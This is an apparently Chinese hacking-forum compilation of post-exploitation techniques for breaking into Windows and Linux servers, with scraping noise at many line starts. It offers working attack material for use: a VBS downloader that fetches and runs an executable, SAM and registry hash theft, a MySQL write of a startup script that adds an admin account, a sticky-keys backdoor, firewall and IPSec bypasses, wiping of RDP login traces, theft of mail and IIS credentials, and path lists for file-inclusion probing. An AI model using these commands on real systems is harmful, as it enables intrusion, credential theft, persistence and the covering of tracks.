（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
0 C- @( Z% Y. U4 _2 Q/ [! t6 [————————————————————————————
' s/ v$ o7 y$ D1 v1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
5 d6 i6 s2 z/ G% J* b{
注：
! G4 W! C! i9 n) C3 p关于tar的打包方式,linux不以扩展名来决定文件类型。
1 G3 D* s( a& b" ]5 x若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
$ C; a& R) \" r& Q, X8 f! D( A% c
0 `/ Q; j  ~; Y" z& B提权先执行systeminfo
token 漏洞补丁号 KB956572
* n7 q2 H! Y) ~: e' t' u% \Churrasco          kb952004
命令行RAR打包~~·
0 B6 k4 t- a& Prar a -k -r -s -m3 c:\1.rar c:\folder
! N& }2 [5 {- X, L/ U4 v" A——————————————
: H8 P; ]% \' K# E2、收集系统信息的脚本  
  R  W5 Z! I, f# u0 |for window：

@echo off
echo #########system info collection
systeminfo
, H+ C8 o- T. K5 @( r9 H' }! yver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
' b  {. j; ?  I8 l$ C2 f5 ^
echo #######at- with   atq#####
echo schtask /query
; Z5 G9 U$ K1 B0 E1 c
% w. B: R4 L/ h: qecho
echo ####task-list#############
tasklist /svc
$ |& M( O$ }4 T1 N( {' G7 E8 wecho
: }! \5 @4 f5 {4 p; j: Wecho ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
0 u/ v1 L% t) w2 O5 C; m3 i- Cecho #######service############
1 o9 `5 n8 O$ Gsc query type= service state= all
# g9 v& Y/ x7 iecho #######file-##############
cd \
3 y  w1 p' e+ t( ?! E1 x8 M; ctree -F
! l# a# L! S, Y6 z/ Efor linux：
9 c8 K* k3 A" H; a6 x3 O$ A1 G
#!/bin/bash

- R0 B. C; ^* z7 L% P5 i, D/ {2 eecho #######geting sysinfo####
) A; v8 Z) j$ Y5 [echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 b6 W3 }  [. r) t' u4 x* Wecho #######basic infomation##
& o# Q$ t7 a" e6 Z0 F7 D: h+ xcat /proc/meminfo
: E! E8 i5 h4 N) |echo
cat /proc/cpuinfo
echo
$ M; k' B, H2 d/ t" ^& r5 Prpm -qa 2>/dev/null
######stole the mail......######
! `7 x: |/ i$ W/ H$ r. N8 Xcp -a /var/mail /tmp/getmail 2>/dev/null

- {& T$ `/ D: o' T! m( l
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
) V* T0 ^! \4 x. F- tset
# H9 n$ M" r: z5 I8 f. {
echo #####about network###
) J: d5 |6 @5 b- o8 y####this is then point in pentest,but i am a new bird,so u need to add some in it
: ~) Y* Q/ K4 A' X' Z: `3 p2 Ncat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh
5 {, R3 K! b: a  F- I/ q7 U+ Y4 o8 }
! B9 c( ~' b6 D8 b: B# jecho ######service####
4 ?- w- j; ?$ z: R9 v2 g3 ?chkconfig --list
8 R- i; I( _/ g! f4 r
1 I8 I+ k" q" |1 h* Gfor i in {oracle,mysql,tomcat,samba,apache,ftp}
. v3 h  s7 R. C, k7 s; ^cat /etc/passwd|grep -i $i
done

1 z4 s& P/ \0 x+ I+ `/ ]$ Olocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
9 j% u5 W  e  O! u6 T. {sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
% V' Q# \+ B$ L. Q3 W+ o1 Y' Necho ##packing up#########
! P0 d( g! |2 {tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
: X2 e2 L. h0 r; M( Y# c. ~rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
8 i0 u- j9 e* R- U. ]  n4 [——————————————
3、ethash 不免杀怎么获取本机hash。
6 {8 x% V" A8 K& [0 k1 M首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
; m% ^5 c6 Q* n7 N6 t2 }, q" h               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
1 |" `3 a( p: B8 a注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
- v$ }6 W& m0 F& O4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
% X5 \' g, s& X+ V, eecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
* t) W- ?5 [5 W0 u, E3 O0 Q' Vecho sGet.Open() >>c:\windows\cftmon.vbs
8 q) I; N+ m& Q& Wecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
  f6 J; ~1 K* I* e- {echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
5 J5 r, ]7 r7 N8 T& d2 P* Gcftmon.vbs
" f$ e: ^( c4 w; \; v- e
7 D" U8 B. `# F/ Y3 u+ d/ t2
On Error Resume Nextim iRemote,iLocal,s1,s2
8 e1 T. S3 \" f( a& Y% K, o9 CiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
; j3 z' p4 l9 J5 q7 u1 jSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
* e' V/ j7 _7 s' V3 U
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
( b3 N( n+ A) D. b) P, k——————————————————
5、
1.查询终端端口
4 w6 X% J& j, uREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
, z: i2 d7 X& H; r: ?( W$ a2.开启XP&2003终端服务
' t0 G# ^/ f; }1 @; ZREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4 u$ c5 ]: @, Y$ f0 r5 {3.更改终端端口为2008(0x7d8)
0 L7 D! D- V3 y* ~$ ?2 C$ a! ?# B; W3 ?REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
; b2 |" K/ ?( x# \: wREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
& z3 F3 V2 |) S9 ~" k$ W" M# h1 a, t2 _insert into a values ("set wshshell=createobject (""wscript.shell"")");
6 B! C. c- w; N8 s! {. x9 iinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
. Y! @9 S% [5 t# ^1 n* xinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
+ f8 Y- }4 A% h* e- u% e# n+ ~  a_____
3 A3 Y8 y+ \9 H' z8、for /d %i in (d:\freehost\*) do @echo %i
& D1 ]( G9 s& z  ], [
- t& r* r. v' O* A) S9 _+ t列出d的所有目录
; Y5 H9 q  m' f  
  for /d %i in (???) do @echo %i
$ E4 b( H3 I5 q
把当前路径下文件夹的名字只有1-3个字母的打出来

+ s9 [+ H. @4 ]3 f; C9 B8 G2.for /r %i in (*.exe) do @echo %i
  
: F! @6 W, H9 h, C- a以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
1 ]1 n9 g/ {. k% F1 e+ J: _1 k9 |
1 M2 }. F+ b" z! }# D: d6 rfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

% _- b/ S) L3 R' C8 `: R6 S6 k7 L  V  o3.for /f %i in (c:\1.txt) do echo %i
% {% Y( Y( \4 J5 U% A+ b: x! }  
8 O$ a# r/ q: K8 ?8 P* ~( s  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
, g/ K3 `, a& h0 q' N7 Y
  delims=后的空格是分隔符 tokens是取第几个位置
4 Y7 d! [, w8 @5 }( s  y& e——————————
●注册表:
' t6 f1 \+ n6 d1.Administrator注册表备份:
# J7 K+ p3 w& z4 j9 Ereg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
! t# T1 J, p0 S" H5 s4 A
' i: v0 K6 x4 q* i. Y2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

+ I" |6 A5 i  Z$ {& t0 U+ ~$ Z3.清除3389登录记录:
) c! ~7 u% j1 K- O' l7 K" _reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

$ k1 \5 E- C! q9 i$ W) H* ?$ U4.Radmin密码:
4 t' s5 f) G& [3 Xreg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
) j( J/ ]0 w( f- x  l( f0 `% SREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
2 s9 m8 \* Y* t4 ?  A% A5 zreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
7 Z$ B& r9 R1 T7 c7 k# [9 T: S) U' Vnetsh ipsec dynamic set config ipsecexempt value=0
( |. \& @+ [2 A% o* p8 e
) z( z( i$ J+ N- m5 g# v7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
8 y' n4 n- f7 l/ r6 T) U
. D: F/ n' J: g' [7 I8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

9 c1 E$ m8 _, n2 J7 C& a1 b10.shift映像劫持
) G1 {- Q4 i! t& p! Z& @9 Z% Areg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

) G3 q5 U6 q) c2 @4 |reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
: w8 k8 M, X* O. y# z& y8 l5 l星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
( U  ]1 o8 w7 Mif IsNumeric(childObjectName)=true then
7 g. T% i8 W7 u( L+ x1 xset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
4 R$ M6 c4 l. Z, w6 B0 Q1 umsgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
9 J" H; V3 y$ s& \set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
8 J( ]8 F8 E0 J# @7 opath=IIsWeb.path
( a2 R  ^$ @. V+ ^4 O( M( zlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
9 ?% a+ e7 S5 JNext
8 F' M- a5 P  x9 lwscript.echo list
Set ObjService=Nothing
5 P+ J" E8 b4 a* [wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
$ l3 Q  }8 K" q7 |/ b# M复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
5 l4 J. g, v+ @( N8 {  l2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
' F, {# d$ T+ a4 _将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
2 q/ r' A+ z# \! a* R% e8 X* Oasp代码，利用的时候会出现登录问题
+ x, X, A& Z2 C/ S3 A 原因是ASP大马里有这样的代码：（没有就没事儿了）
4 [+ K9 f5 z& F9 H url=request.severvariables("url")
* t5 P, G) ]  | 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
: Q, O- ]3 N2 K0 G/ Q' Y
8 Y+ {1 ^' L1 w: S/ }==============================================================
" m& [! y* w/ p" z2 z5 D! M# r* h- lLINUX常见路径：
2 {! V- e) ?- w/ c" @
/etc/passwd
1 P2 {5 x, q4 {$ |8 |0 K6 O/etc/shadow
( }: D; A9 m0 I0 b/etc/fstab
) S3 A  U5 B( h- e# F/etc/host.conf
' _1 ?3 k+ f. I, i5 d% q/etc/motd
* S5 l/ Y7 M3 s: T& g( T8 ]/etc/ld.so.conf
! P& F7 z9 s/ c  y0 g' \- ~/var/www/htdocs/index.php
7 n7 P5 ~" x0 H: g8 @. c$ n5 D/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
$ a9 x* E! k& ]1 Y7 ^0 g3 h/var/httpd/htdocs/index.php
* b4 v# j% {% X2 J' v) t6 k/var/httpd/conf/httpd.conf
. o* j* `0 b% R0 }) F7 m6 B5 Z/var/httpd/htdocs/index.html
  L7 q& d: Q4 Y, a8 H- ?  @: u5 W- D/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
% H- ~. a- g1 i) S' n, P/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
1 m" j" p* k5 }- U/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
4 d; s# k) ?7 W5 ^/ l! X# D/usr/local/apache2/htdocs/index.php
# J, s  c' V, J3 C' J" w/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
) S/ T% y( H& _8 ^$ B7 K) u' m/tmp/apache/htdocs/index.html
  o; J3 y$ m1 i! [: k+ L/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
7 K; z) S1 E" \3 I* {& G% P- y" _# j/etc/httpd/htdocs/index.html
+ x. n4 ]2 |8 q) y. w* w/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
* ?3 j# j  h6 _. u/www/conf/httpd.conf
2 c# m" G7 Y3 E* e7 o# Z/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
& G. _1 c2 u3 B/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/ a+ G7 S( p% g5 a# O! p/etc/apache2/sites-available/default
7 R: M8 N4 h+ s: d. [& h; W/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
4 _0 V) X6 m' n. c+ B/ i( q1 d/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
- L0 |* n9 F6 ], M" Z3 U. I" T/etc/httpd/logs/error_log
4 k+ ]# ]* D5 r5 f/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
$ H  e. G' j6 L5 r# E$ z/var/log/apache/error_log
/var/log/apache/error.log
6 o0 F) z. l/ V1 U& L- C! b2 k2 R4 l/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
6 c: A% T4 ]$ ]! }. W# f& K) x/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
1 k4 E  G- p: B. r% V/var/www/logs/access.log
1 U% r' {0 p+ [" @! {9 s/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
6 R9 _* I; G6 w0 K9 S/usr/local/apache/logs/access_log
+ g+ Y' ^/ I. b' r2 [6 |/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
0 X$ \' h( S) I/var/log/access_log
! S7 e( G7 N' {& N/var/log/access.log
: ^& d  \, B8 Y8 Z/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
$ D1 P  }% B) z: g3 ~0 R/bin/php.ini
& k: a7 X8 \5 e; `" N/etc/init.d/httpd
; L: E0 q+ S2 Z1 S; X/etc/init.d/mysql
8 J# T5 |3 C2 \. a8 `/etc/httpd/php.ini
- R) W, d8 }! e! D+ U+ H/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
0 L% ]6 U2 Q. E/ v# m1 G/usr/local/lib/php.ini
0 P; E# I4 q9 G  X# X8 P) c) O2 G/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
% X' O$ b4 \! @9 D! g; x0 ]) j/usr/local/php4/php.ini
. p- x. d3 Z: d/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
+ s+ T; m8 l2 K: |. N/usr/local/php5/php5.ini
1 y4 J+ ?; q- A5 Q/usr/local/apache/conf/php.ini
- S( a9 u" X0 F- n/ ?. S! d; _/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/ q# H; ?+ j$ L" Z2 I" @) ~* ]4 J/usr/local/apache2/conf/php.ini
/ W$ u, r- Y7 P) \) M* H/etc/php4.4/fcgi/php.ini
$ D3 ]8 T# Y% x0 w$ G$ p/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
1 ~( u2 A& |& |# D7 e  X8 y2 `/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
  U, _& V: w: b/etc/php/cgi/php.ini
$ p% D7 l4 A% g1 ?! x$ s( J/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
9 Z, h/ C  b* w1 M/ S7 i/php4/php.ini
7 W$ h6 ^8 J, }2 C5 k- I/php/php.ini
/PHP/php.ini
/apache/php/php.ini
) j& r. O+ N7 _4 @/xampp/apache/bin/php.ini
4 o; E+ n, j% g+ u1 a/xampp/apache/conf/httpd.conf
9 j+ F" j. C5 ~5 `/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
: u* w4 j' P( K  o/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
  g) w1 V2 N$ ?8 b& Z/var/log/mysql.log
/var/log/mysqlderror.log
* Q3 P, s% ]* C7 h: y% G  S/var/log/mysql/mysql.log
5 s, {. {% `; X! E1 K% R/var/log/mysql/mysql-slow.log
/var/mysql.log
, N% s6 d' O( @/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
0 S, _0 P7 j( m  W; ^' `' \/etc/mysql/my.cnf
: c& h# h2 t0 @& K$ j$ }+ e" P/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
0 W' R( p4 x( t' j/usr/local/cpanel/logs/error_log
3 a/ ]( m) ^' o& m7 R/ s# c. c, i  E/usr/local/cpanel/logs/license_log
# f1 s* ~4 k3 \# S/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
( I0 v* O4 ]+ O* i+ [6 l
c:\windows\php.ini
c:\boot.ini
; L6 y  F* e" a, }% Q! lc:\1.txt
  v6 Q& u  f' Z) ?# F2 e  Dc:\a.txt

c:\CMailServer\config.ini
+ {& s. T$ h$ @1 E; @# p! yc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
: l: R, {1 K( o, sc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
9 S' Z5 a: _5 N) [C:\WinWebMail\SysInfo.ini
$ J+ S/ P6 |& H: ~; y% fC:\WinWebMail\Web\default.asp
; F/ v: p1 E6 n2 x5 Y. AC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

. U$ c, P& |4 ^5 Fc:\hzhost\databases\url.asp

) D9 w# L# U+ i2 c! ]2 mc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
1 |! k( u5 N: x
! {8 z$ @, x3 tC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
" |) F) m/ p! vC:\WINDOWS\web.config
6 y' @9 T/ A$ Y3 n, R/ P& ac:\web\index.html
c:\www\index.html
) l3 J" X( Y5 h( r. x2 t, g7 [c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
- F+ s9 I2 n# ]6 i) Dc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
! K) M6 g0 h$ W' o' wc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
+ h% l, H. A  ~c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
1 L; K2 w# s) a( ^c:\web\default.asp
) x7 C# ?# m7 A* v7 x  dc:\www\default.asp
c:\wwwsite\default.asp
8 D: l- |) m$ xc:\WWWROOT\default.asp
. {' ?+ }1 ^# O+ q7 tc:\web\default.php
! W+ L  s$ C& f8 E& d7 ^c:\www\default.php
& s% u, d# H$ p- c; I* Ac:\WWWROOT\default.php
c:\WWWsite\default.php
. a% f' O  J+ t4 e( C& M8 }! nC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
3 n2 `  Y4 g( y/ n3 d" ac:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
2 n) ~2 A1 s" ^0 R# HC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
6 e( S% a/ v" Y5 h2 CC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
# ]: H3 H' K+ O+ rC:\Program Files\360Safe\360safe.exe
. L6 B* o7 }3 l7 u( zC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
8 D- f, q# ?, H' tc:\rising.ini
$ v# c) ?! l9 WC:\Program Files\Rising\Rav\RsTask.xml
" B2 a" e4 ~4 o$ @- p: M# LC:\Documents and Settings\All Users\Start Menu\desktop.ini
, ~/ X; f; v* k1 a9 RC:\Documents and Settings\Administrator\My Documents\Default.rdp
$ T  D, x* J! Y+ ?6 ?* t* {" }; l, zC:\Documents and Settings\Administrator\Cookies\index.dat
7 y9 c# a3 X9 H( k/ gC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
  Z  e4 D, U. t" |) D$ X. _C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
6 m4 W0 z5 K% @5 {" ^C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
$ F9 L/ `$ {/ v  c7 k9 P3 j$ ]3 mC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
* y1 i' C9 D: Z- yE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
; J$ [+ I8 w3 u  |& W, [$ @* GC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
! \5 \5 E3 L) d. j7 dC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
! M6 `& H; k; l8 a* pC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
5 ^2 ]2 m3 S8 D& @; e3 xC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
$ m& t0 G+ ?. N( b5 A* q- b0 |C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
0 {, E2 c& m! Q7 W% \) eC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 E5 B. B$ E* c% e$ SC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
% _' z5 o) [7 H4 t+ f# T, V5 RC:\Program Files\MySQL\MySQL Server 5.0\COPYING
+ v; b0 n' _* tC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
4 {  n) J6 Y0 H! \; c0 i9 sC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
5 _; K9 a7 Q, s, R: d5 W7 s. Dc:\MySQL\MySQL Server 4.1\bin\mysql.exe
" ~& L; K# b* L1 l- X* G0 t/ {c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
1 L% J1 Z: l5 YC:\WINDOWS\system32\inetsrv\MetaBase.xml
, E, B8 Z1 L& N& tC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
) N2 _* R- ~& x* FC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
5 |/ a. ?5 @+ F+ M4 {c:\program files\CMailServer\config.ini
% l6 b4 {( F* d; qc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
4 c: x  ^! g# O3 H" x1 T- i1 Qc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
' X) C6 M; u* R& X: o3 z, l5 pc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
  N0 L3 G6 i2 s% c! Uc:\Apache2\Apache2\bin\Apache.exe
/ ]; ]8 u8 t( R7 A* c9 Fc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
' j/ A2 |4 N$ ?' u3 X/usr/local/tomcat5527/bin/version.sh
# J1 {6 ?4 H4 R, E" I9 j/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
: h& S+ _* s* Oc:\Program Files\QQ2007\qq.exe
